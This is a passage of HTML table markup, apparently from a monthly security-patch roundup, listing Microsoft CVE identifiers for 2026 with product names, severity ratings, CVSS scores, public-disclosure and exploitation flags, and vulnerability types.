  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
